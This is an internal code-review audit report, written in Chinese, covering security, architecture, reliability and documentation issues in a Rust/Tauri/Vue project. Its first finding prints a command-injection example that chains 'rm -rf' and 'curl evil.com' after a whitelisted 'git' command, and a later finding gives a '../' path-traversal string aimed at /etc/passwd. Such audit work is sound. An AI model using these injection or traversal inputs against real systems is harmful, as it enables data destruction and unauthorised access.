# 全量走查报告(2026-06-28) > 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系 > 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实 > 原则:dry — 仅审查 + 文档,不改代码。误判项明确标注证据 --- ## 🔴 安全 ### ① ScriptNode — 白名单仅校验首词,shell 元字符可绕过 **文件**: `crates/df-nodes/src/script_node.rs:46-54` ```rust let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase(); ``` `check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止)。 **建议**:① 默认启用黑名单(至少挡 `rm`/`del`/`format`/`shutdown`);② 对工作流 JSON 来源做信任链校验。 ### ② MCP server 完全无鉴权 **文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11` 注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程(Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。 **建议**:启动生成 ephemeral token 写入应用 KV,Tauri CLI 子命令传 token,每条 `tools/call` 校验。 ### ③ `bind_directory` 路径检测不一致 **文件**: `crates/df-mcp/src/tools.rs:328` MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测,会误伤 `my..file`,且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致。 **建议**:MCP 端复用 `validate_path` 的分段检测逻辑。 --- ## 🔴 架构 ### ④ AI 核心状态机焊死在 src-tauri,df-ai 名不副实 **证据**: - `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession`、`PerConvState`、`AiChatEvent`、`SessionState` 等 - `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop` - `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入) ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责,实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用(做 CLI/测试),AI 状态机没有独立 crate 级单测。 **建议**:把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。 ### ⑤ df-project / df-ideas 伪分层 **文件**: `crates/df-project/src/manager.rs`(全文 ~80 行,仅 2 个工厂函数) `ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs`,`commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。 **建议**:要么删除 df-project,要么真正把领域规则下沉进去。 ### ⑥ TaskStatus 两套并存 **证据**: - `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str`/`from_db_str`/`is_valid` - `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state` 注释自称"严格对齐"但靠人工维护,任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。 **建议**:让 task_state_machine 基于 TaskStatus enum 实现,字符串边界只留 IPC/DB 序列化层。 ### ⑦ IPC 错误拍平为 String,结构化信息全失 **文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str(e: E) -> String` df-types/error.rs 精心设计了 11 个变体(`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段),但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串,无法分辨 NotFound vs Validation vs InvalidState,无法做差异化处理(如 NotFound→跳转列表 vs InvalidState→提示冲突)。 **建议**:IPC 错误用 serde 序列化的 enum(`{ kind, message, ...fields }`),前端按 kind 分支。 ### ⑧ 配置四源并存,relay token 两端契约不一致 **证据**: - 环境变量:`DF_RELAY_TOKEN`(relay 端缺失 panic)/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST` - DB KV:`app_settings` 表 - AppState 内存:AtomicU64/Usize - 硬编码常量:`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`(与 relay 端强制 env 不一致) 桌面端硬编码默认 token,relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。 **建议**:建立分层 Config 单例(env > app_settings > 默认常量),跨 crate 共享。 ### ⑨ 文档与代码严重失步 **证据**: - ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types` - PROGRESS.md §二/§三 同样写 df-core - docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs` - PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`(已移除) - ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`,crate 数量描述"9 crate"vs 实际 12 **建议**:批量替换 df-core → df-types,更新 crate 树与规模表。 --- ## 🔴 代码质量 ### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴 **文件**: `src/composables/ai/useAiEvents.ts:569-737` `AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑(clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem),共 ~10 步骤在三个分支逐行复制。 **建议**:抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。 ### ⑪ Store 错误处理样板重复 38 处 **证据**:`src/stores/knowledge.ts` 单文件 10 次,加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次: ```ts try { state.xxx = await api.xxx(...) } catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') } ``` **建议**:抽 `runWithCatch(state, i18nKey, fn)` 工具。 ### ⑫ idea_repo.rs — 注释承诺的测试不存在 **文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44` 注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」,但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用,但测试从未写。属真实「文档撒谎」。 **建议**:补 `#[test] fn test_idea_cols_matches_record()` 或改注释。 ### ⑬ df-relay 完全无测试 `df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试,但 `df-relay` 0 测试(无 tests/ 也无 #[cfg(test)])。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。 **建议**:至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。 --- ## 🟡 并发与可靠性 ### ⑭ SQLite 单连接 Mutex 串行化 **文件**: `crates/df-storage/src/db.rs:13-16` ```rust pub struct Database { conn: Arc>, } ``` 所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确,但 AI 对话高峰(多 tool_calls 并发 + SSE 落库)下 DB 操作排队,体验性下降。 ### ⑮ EventBus broadcast 容量与 Lagged 处理 **文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141` 容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。 **建议**:流式增量与审批响应分总线,或 Lagged 显式重发。 ### ⑯ run_migrations 持有 tokio Mutex 守卫 **文件**: `crates/df-storage/src/db.rs:48-53` V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销,但属不必要串行点。 ### ⑰ task_link_repo.rs 注释误导 **文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138` 注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内,锁串行化了 TOCTOU 窗口,已闭合。注释应更新。 ### ⑱ relay 默认监听 0.0.0.0 **文件**: `crates/df-relay/src/main.rs:17` token 鉴权在,但默认监听所有网卡,云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。 **建议**:默认改 127.0.0.1,外部访问显式 `DF_RELAY_ADDR=0.0.0.0`。 --- ## 🟡 代码简洁性 ### ⑲ 大文件未拆分 - `src/components/ai/MessageList.vue` 1552 行(style 441 + script ~1100) - `src/views/IdeaDetail.vue` 926 行(style 481 + script ~300,四域逻辑) - `crates/df-storage/src/crud/idea_repo.rs` 1500 行(IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具) - `crates/df-nodes/src/human_node.rs` 831 行 **建议**:MessageList 抽 MessageBubble.vue;IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel;idea_repo.rs 拆三文件。 ### ⑰ 组件内 toast 状态重复 **文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191` 两个根组件各自维护 toast reactive + showToast,逻辑完全一致。 **建议**:抽 `composables/useToast.ts`。 ### ㉑ TS any 滥用集中在 catch 和跨层透传 48 处 `: any`/`as any`: - **类型 A**(38/48):`catch (e: any)` → 改 `unknown` + 类型守卫 - **类型 B**:跨层 `as any` 透传未声明字段(useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498) **建议**:补完 api/types.ts 真实字段(AiMessage.errorType、Message.status);defineExpose 建 interface。 ### ㉒ AgentCoordinator deprecated 空壳 **文件**: `crates/df-ai/src/coordinator.rs` 已标 `#[deprecated]`,全 workspace 零调用,但仍 `pub mod coordinator` 暴露导出。 **建议**:`#[cfg(feature = "multi-agent")]` 隔离或删除(git 历史可找回)。 ### ㉓ planner.rs 11 处 #[allow(dead_code)] builder API(SubTask::new/with_tools/with_deps/with_group 等)当前零调用,全是预留。建议加 reason 集中说明或 feature flag 隔离。 ### ㉔ app_settings KV 无 schema `SettingsRepo::set(key, value)` 无 key 白名单(除 allowed_dirs),新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。 ### ㉕ 视图 CSS 重复 + tags 解析重复 - Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式(项目已有全局 `styles/components.css`) - Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑 **建议**:CSS 收敛到全局;tags 解析抽 `parseTagsInput`。 --- ## 🟡 文档 ### ㉖ AI对话引擎文档工具清单过时 **文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四` 标题自称 12 个,表格 13 行,与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`。 ### ㉗ INDEX.md 漏索引 9 个文档 | 子目录 | 漏列数 | 典型遗漏 | |-------|-------|---------| | 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 | | 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 | | 构想审查 | 1 | 跑题改进试验记录 | | 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 | ### ㉘ 死链 **文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4` `[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在,应改为 `../构想审查/`。 ### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反 YAML 模板(52行)、AgentPersona struct(11行)、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。 ### ㉚ ARCHITECTURE.md ~100 行已移除模块残留 §5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。 ### ㉛ ARCHITECTURE.md 状态过时 L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符,应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`。 --- ## ✅ 亮点 ### ① df-ai/df-ai-core trait 下沉(F-01) df-ai-core 零 HTTP 依赖(仅 5 个依赖),df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。 ### ② df-mcp advance_task 复用 df-nodes 状态机 MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`,推进链三层校验(is_valid_state/can_transition/CAS/regression bump)唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。 ### ③ keyring 密钥下沉 + 迁移补偿 secret.rs 三阶段回落(DB明文→OS keyring→空),`migrate_secrets_to_keyring` 启动一次性迁移,失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`。 ### ④ SanitizedPath newtype 强类型 `df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口,防裸 String 误用。 ### ⑤ 取消路径 TOCTOU 三层防护 state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。 ### ⑥ SQLite WAL + spawn_blocking 正确 所有 DB 操作在 spawn_blocking + blocking_lock 中,无 sync rusqlite 在 async 裸调用;批量用事务原子提交;WAL 模式读写不互斥。 ### ⑦ 重试机制工业级 retry.rs ±50% jitter(rand::thread_rng)+ 错误分类(Ok/Retryable/Fatal)+ 总预算止损 30s + 流式不重试。complete() 两处接入,单测齐全。 ### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程;Windows 黑窗抑制。 ### ⑨ TaskStatus is_valid 单测覆盖 df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界,valid_values_all_pass_is_valid 锁定清单一致性。 ### ⑩ SSRF 防护完整 http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护(多 A 记录全检)+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。 ### ⑪ V21 大版本迁移谨慎 BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。 ### ⑫ 前端 composable 已大范围抽离 src/composables/ai/ 已拆 14 文件,AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构(8 个子 Section/Panel,309 行壳)。 --- ## 📊 汇总 | 分类 | 🔴 | 🟡 | ✅ | |------|----|----|----| | 安全 | 3 | — | — | | 架构 | 6 | — | — | | 代码质量 | 4 | — | — | | 并发可靠性 | — | 5 | — | | 代码简洁性 | — | 7 | — | | 文档 | — | 6 | — | | 亮点 | — | — | 12 | | **合计** | **13** | **18** | **12** | **总体评价**:核心安全架构扎实(SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级),前端架构演进健康(composable 大范围抽离、Settings 已 master-detail 重构)。 主要问题集中在: - **架构债**:AI 核心状态机焊死 src-tauri(#4)、df-project 伪分层(#5)、文档严重失步(#9) - **代码质量**:useAiEvents 三处复制粘贴(#10)、Store 错误处理 38 处重复(#11) - **安全细节**:ScriptNode 元字符绕过(#1)、MCP 无鉴权(#2) 优先修复建议:① 修文档(#9 成本极低);② 补 df-relay 测试(#13);③ ScriptNode 默认黑名单(#1);④ 抽 useAiEvents 公共函数(#10)。